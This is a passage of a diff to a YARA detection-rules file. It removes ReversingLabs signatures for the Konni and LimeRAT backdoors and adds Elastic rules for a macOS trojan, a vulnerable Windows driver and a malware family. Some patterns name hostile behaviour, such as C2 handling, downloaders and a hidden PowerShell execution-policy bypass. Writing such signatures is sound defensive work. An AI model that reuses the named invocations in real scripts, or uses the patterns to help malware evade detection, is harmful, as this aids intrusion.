-            15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8
-            ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CF E8 ?? ?? ?? ?? 85 C0 74 ?? 48
-        }
-		$create_cab_file_and_upload_p2 = {
-            8D 4D ?? 48 8B D6 E8 ?? ?? ?? ?? 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 48 8D 55 ?? 45
-            33 C0 48 8B CE FF 15 ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? 48 8D 4D ?? 45 8D 41 ?? BA
-            ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 83 F8 ?? 75 ?? 8B C3 EB ?? 33 D2 48 8B C8
-            FF 15 ?? ?? ?? ?? 8B F0 85 C0 75 ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B C3 EB ?? FF C6 B9
-            ?? ?? ?? ?? 8B D6 44 8B EE FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 75 ?? 48 8B CF FF 15
-            ?? ?? ?? ?? 8B C3 EB ?? 4D 8B C5 33 D2 48 8B C8 E8 ?? ?? ?? ?? 4C 8D 4C 24 ?? 44 8B
-            C6 49 8B D4 48 8B CF 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 8B
-            44 24 ?? 89 44 24 ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 48 8D 4D ?? 4C 89 B4 24 ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 44 8B 6C 24 ?? B9 ?? ?? ?? ?? 41 83 C5 ?? 41 8B FD 41 8B
-            D5 48 89 7C 24 ?? FF 15 ?? ?? ?? ?? 4C 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 44 8B C7 33
-            D2 48 8B C8 E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 74 ?? 33
-            C0 48 83 C9 ?? 4C 8D 86 ?? ?? ?? ?? 48 8D BD ?? ?? ?? ?? 66 F2 AF 49 89 00 49 89 40
-            ?? 48 F7 D1 49 89 40 ?? 49 89 40 ?? 48 FF C9 03 C9 74 ?? 8B D1 48 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? EB ?? 48 8B F3 49 89 B7 ?? ?? ?? ?? 48 85 F6 0F 84 ?? ?? ?? ?? 44 8B
-        }
-		$create_cab_file_and_upload_p3 = {
-            44 24 ?? 4D 8B CE 49 8B D4 48 8B CE 44 89 6C 24 ?? E8 ?? ?? ?? ?? 49 8B 8F ?? ?? ??
-            ?? 48 85 C9 74 ?? E8 ?? ?? ?? ?? 49 8B CC 49 89 9F ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48
-            83 C9 ?? 33 C0 48 8D BD ?? ?? ?? ?? 66 F2 AF 48 F7 D1 41 8D 84 4D ?? ?? ?? ?? B9 ??
-            ?? ?? ?? 8B D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 0F 84 ?? ?? ?? ?? 44
-            8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 8B 54 24 ?? 4C 8D 8D ?? ?? ?? ?? 4C 8D 05
-            ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? 48 8B 7C 24 ?? 49 8B D6 8B C8 4C 8B C7 89 44 24
-            ?? 49 03 CD E8 ?? ?? ?? ?? 8B 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 03 CF 41 B8 ?? ?? ??
-            ?? 49 03 CD E8 ?? ?? ?? ?? 49 8B CE FF 15 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? E8 ?? ??
-            ?? ?? 45 33 C9 45 33 C0 41 8D 51 ?? 33 C9 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F0 48
-            85 C0 0F 84 ?? ?? ?? ?? 48 89 5C 24 ?? 89 5C 24 ?? 49 8D 97 ?? ?? ?? ?? 41 B8 ?? ??
-            ?? ?? 45 33 C9 48 8B C8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24
-            ?? FF 15 ?? ?? ?? ?? 4C 8B E0 48 85 C0 0F 84 ?? ?? ?? ?? 49 8D 8F ?? ?? ?? ?? 33 D2
-            41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4D 8D 8F ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 49 8D 8F
-            ?? ?? ?? ?? BA ?? ?? ?? ?? 4C 89 7C 24 ?? E8 ?? ?? ?? ?? 48 89 5C 24 ?? C7 44 24 ??
-            ?? ?? ?? ?? 4D 8D 87 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 45 33 C9 49 8B CC 48 89 5C 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 48 89 5C 24 ?? FF 15 ?? ?? ?? ?? 48 8B F8 48 85 C0 74
-        }
-		$create_cab_file_and_upload_p4 = {
-            8B 44 24 ?? 48 8D 15 ?? ?? ?? ?? 4D 8B CD 41 B8 ?? ?? ?? ?? 48 8B CF 89 44 24 ?? FF
-            15 ?? ?? ?? ?? 85 C0 74 ?? 49 8B CD FF 15 ?? ?? ?? ?? 48 8D 54 24 ?? 45 33 C9 45 33
-            C0 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ??
-            ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ??
-            ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 74 ?? FF C0 B9 ?? ?? ?? ?? 8B
-            D0 89 44 24 ?? FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 75 ?? 45 33 C9 45 33 C0 33 D2 48
-            8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B CC FF 15 ?? ?? ?? ?? 48 8B
-            CE FF 15 ?? ?? ?? ?? 83 C8 ?? EB ?? 44 8B 44 24 ?? 33 D2 48 8B C8 E8 ?? ?? ?? ?? 44
-            8B 44 24 ?? 4C 8D 4C 24 ?? 49 8B D5 48 8B CF FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15
-            ?? ?? ?? ?? 49 8B CD E8 ?? ?? ?? ?? EB ?? BB ?? ?? ?? ?? 49 8B CD FF 15 ?? ?? ?? ??
-            45 33 C9 45 33 C0 33 D2 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 49 8B
-            CC FF 15 ?? ?? ?? ?? 48 8B CE FF 15 ?? ?? ?? ?? 8B C3 4C 8B B4 24 ?? ?? ?? ?? 4C 8B
-            AC 24 ?? ?? ?? ?? 48 8B 8D ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ??
-            ?? 48 81 C4 ?? ?? ?? ?? 41 5F 41 5C 5F 5E 5D C3
-        }
-		$cmd_expand_payload_p1 = {
-            40 53 55 41 55 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 84 24 ?? ??
-            ?? ?? 48 8B E9 48 8D 8C 24 ?? ?? ?? ?? 45 33 ED 33 D2 41 B8 ?? ?? ?? ?? 66 44 89 AC
-            24 ?? ?? 00 00 E8 ?? ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? 66 44
-            89 AC 24 ?? ?? 00 00 E8 ?? ?? ?? ?? 45 8D 45 ?? 48 8D 4C 24 ?? 33 D2 44 89 6C 24 ??
-            E8 ?? ?? ?? ?? 33 C0 4C 89 6C 24 ?? 45 8D 45 ?? 45 33 C9 BA ?? ?? ?? ?? 48 8B CD C7
-            44 24 ?? ?? ?? ?? ?? 4C 89 6C 24 ?? 48 89 44 24 ?? 48 89 44 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? 0B C0 E9 ?? ?? ?? ?? 45 33 C9 33
-            D2 48 8B C8 45 8D 41 ?? 4C 89 6C 24 ?? 48 89 BC 24 ?? ?? ?? ?? 44 89 6C 24 ?? FF 15
-            ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ?? ??
-            ?? 45 33 C9 45 33 C0 48 8B C8 41 8D 51 ?? 48 89 B4 24 ?? ?? ?? ?? 4C 89 6C 24 ?? FF
-            15 ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 48 8B CB FF 15 ?? ?? ?? ?? 83 C8 ?? E9 ?? ??
-            ?? ?? 4C 8D 40 ?? 48 8D 84 24 ?? ?? ?? ?? 41 83 C9 ?? 33 D2 33 C9 C7 44 24 ?? ?? ??
-            ?? ?? 48 89 44 24 ?? 4C 89 A4 24 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ??
-            33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? B9 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? 4C 8D 84 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? BA ?? ?? ?? ?? E8
-        }
-		$cmd_expand_payload_p2 = {
-            44 8B 66 ?? 48 8B CE FF 15 ?? ?? ?? ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 8B CB FF 15 ??
-            ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 33 D2 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 4C 8D 05 ??
-            ?? ?? ?? 48 8D 8C 24 ?? ?? ?? ?? 4C 8B CD BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 44 24
-            ?? 48 8D 94 24 ?? ?? ?? ?? 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C9 48 89 44 24 ?? 4C
-            89 6C 24 ?? 4C 89 6C 24 ?? 45 33 C0 33 C9 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? 66 44 89 AC 24 ?? ?? 00 00 44 89 6C 24 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 83 C8
-            ?? EB ?? 90 B9 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C9 4C 89 6C 24 ?? 48 8D 0D ?? ??
-            ?? ?? 45 8D 41 ?? BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 48 8B D8 48 83 F8 ?? 75 ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 48 8B CB
-            FF 15 ?? ?? ?? ?? 41 8B C4 4C 8B A4 24 ?? ?? ?? ?? 48 8B B4 24 ?? ?? ?? ?? 48 8B BC
-            24 ?? ?? ?? ?? 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ??
-            41 5D 5D 5B C3
-        }
+		$a1 = "GET %s HTTP/1.0" ascii fullword
+		$a2 = "HOST1:"
+		$a3 = "PORT1:"
+		$a4 = "-WindowStyle Hidden -ep bypass -file \"" ascii fullword
+		$a5 = "BEGINDATA" ascii fullword
+		$a6 = "socks32.dll" ascii fullword
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($network_communication_p*)) and ( all of ($handle_c2_commands_p*)) and ( all of ($create_cab_file_and_upload_p*)) and ( all of ($cmd_expand_payload_p*))
+		5 of them
 }
-rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Limerat : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Macos_Trojan_Fplayer_1C1Fae37 : FILE MEMORY
 {
 	meta:
-		description = "Yara rule that detects LimeRAT backdoor."
-		author = "ReversingLabs"
-		id = "c2ef6f27-3fb8-55f4-97a6-9e25a3d1ce49"
-		date = "2024-03-04"
-		modified = "2024-03-04"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara#L1-L91"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "03eaa2ac41950f036601222b32a28c03aae3b3445501e988e2f87e231a1a1522"
+		description = "Detects Macos Trojan Fplayer (MacOS.Trojan.Fplayer)"
+		author = "Elastic Security"
+		id = "1c1fae37-8d19-4129-a715-b78163f93fd2"
+		date = "2021-10-05"
+		modified = "2021-10-25"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/MacOS_Trojan_Fplayer.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f57e651088dee2236328d09705cef5e98461e97d1eb2150c372d00ca7c685725"
+		logic_hash = "0d65717bdbac694ffb2535a1ff584f7ec2aa7b553a08d29113c6e2bd7b2ff1aa"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "LimeRAT"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE, MEMORY"
+		fingerprint = "abeb3cd51c0ff2e3173739c423778defb9a77bc49b30ea8442e6ec93a2d2d8d2"
+		severity = 100
+		arch_context = "x86"
+		scan_context = "file, memory"
+		license = "Elastic License v2"
+		os = "macos"
 
 	strings:
-		$persistence_mechanism = {
-            02 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 2B ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 28 ?? ??
-            ?? ?? 28 ?? ?? ?? ?? DE
-        }
-		$crypto_miner = {
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 16 31 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 0B 07 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 2B ?? 09 6F ?? ??
-            ?? ?? 74 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 0A DE ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09
-            6F ?? ?? ?? ?? DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ??
-            0A DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 06
-        }
-		$downloader = {
-            73 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E
-            ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2C ?? 72 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 7E ?? ?? ?? ?? 07 6F ??
-            ?? ?? ?? 07 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ??
-            06 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 26 00 06 6F ?? ?? ?? ?? 14 0A
-            DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? DE ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ??
-            ?? ?? DE
-        }
-		$network_communication_p1 = {
-            16 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0B 28 ?? ??
-            ?? ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ??
-            ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ??
-            DE ?? 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ??
-            7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 6F ?? ?? ?? ?? 7E ??
-            ?? ?? ?? 15 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 73 ??
-            ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 14 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ??
-            25 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 14 14 14 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ??
-            ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 9A 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 26 11
-            ?? 73 ?? ?? ?? ?? 17 11 ?? 8E 69 6F ?? ?? ?? ?? 9A 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 11
-            ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C
-            ?? 11 ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ??
-            ?? 17 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72 ??
-            ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 28 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2
-        }
-		$network_communication_p2 = {
-            25 1A 28 ?? ?? ?? ?? A2 25 1B 7E ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 7E ??
-            ?? ?? ?? A2 25 1E 28 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ??
-            ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ??
-            A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2
-            25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25
-            1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? 8C ?? ??
-            ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ??
-            ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ??
-            A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
-            25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2B ?? 7E
-        }
+		$a = { 56 41 55 41 54 53 48 83 EC 48 4D 89 C4 48 89 C8 48 89 D1 49 89 F6 49 89 FD 49 }
 
 	condition:
-		uint16(0)==0x5A4D and ($persistence_mechanism) and ($crypto_miner) and ($downloader) and ( all of ($network_communication_p*))
+		all of them
 }
-rule REVERSINGLABS_Win32_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Windows_Vulndriver_Mtcbsv_7F6D642E : FILE
 {
 	meta:
-		description = "Yara rule that detects Konni backdoor."
-		author = "ReversingLabs"
-		id = "6fe230b1-357a-54f7-a9a8-15d0369fec71"
-		date = "2023-12-07"
-		modified = "2023-12-07"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Win32.Backdoor.Konni.yara#L1-L190"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "7907a657d804d485718ba13bb23513de0b909e7d455c2b3ee193b5329edd3ac6"
+		description = "Name: mtcBSv64.sys, Version: 21.2.0.0"
+		author = "Elastic Security"
+		id = "7f6d642e-bf8c-44e7-939f-08513523ee2e"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_MtcBsv.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "ff803017d1acafde6149fe7d463aee23b1c4f6f3b97c698c05f3ca6f07e4df6c"
+		logic_hash = "dfd53a2b97ad722307561fc5f109dcba372bf600113786bb351ed1262fdc8556"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "Konni"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE"
+		fingerprint = "f59ad8d5f19584e76e67689aba1e0d305d451ed6a030c6e2bccd048e0aeb0b0a"
+		threat_name = "Windows.VulnDriver.MtcBsv"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
 
 	strings:
-		$network_communication_p1 = {
-            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 33 FF 68 ?? ?? ?? ?? 8D 9E ?? ?? ?? ??
-            57 53 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 45 ??
-            50 56 8D 8E ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ??
-            81 C6 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 57 57 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF
-            0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 6A ?? 56 53 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
-            ?? 8B F8 89 7D ?? 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8D 47 ?? 5F 5E 5B 8B E5 5D C2 ??
-            ?? 8B 55 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 52 68 ?? ?? ?? ?? 57 C7 45 ?? ??
-            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8B 35 ?? ?? ?? ?? 57 FF D6 53 FF D6 5F
-            5E B8 ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ??
-            6A ?? 6A ?? 85 C0 74 ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 6A ?? 56
-            FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E B8 ?? ?? ?? ??
-            5B 8B E5 5D C2 ?? ?? 8B 45 ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ??
-            ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 40 50 6A ?? 89
-        }
-		$network_communication_p2 = {
-            45 ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ??
-            ?? ?? ?? FF D6 8B 4D ?? 51 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55
-            ?? 52 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ??
-            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 6A ??
-            56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 45 ?? 50 FF D6 53 FF D6 5F 5E 83
-            C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55 ?? 8D 4D ?? 51 52 57 56 FF 15 ?? ?? ?? ?? 85 C0 74
-            ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
-            85 C0 B8 ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 83 F8 ?? 74 ?? 8B 4D ?? 8B 55 ?? 6A ??
-            8D 45 ?? 50 51 57 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 01 45 ?? 51 6A ?? 57 E8 ??
-            ?? ?? ?? 8B 45 ?? 83 C4 ?? 8D 55 ?? 52 50 57 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D
-            ?? 51 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ??
-            56 8B 35 ?? ?? ?? ?? FF D6 8B 55 ?? 52 FF D6 53 FF D6 83 7D ?? ?? 0F 84 ?? ?? ?? ??
-            8B 45 ?? 5F 5E 5B 8B E5 5D C2
-        }
-		$handle_c2_commands_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85 ?? ?? ?? ??
-            50 33 FF 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ??
-            3B F7 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 0D ?? ??
-            ?? ?? 8B 16 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
-            4E ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 56 ?? 68 ?? ?? ?? ?? 52 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B
-            5E ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 83 C4 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ??
-            ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 57 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ??
-            ?? ?? ?? E9 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 56 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85
-        }
-		$handle_c2_commands_p2 = {
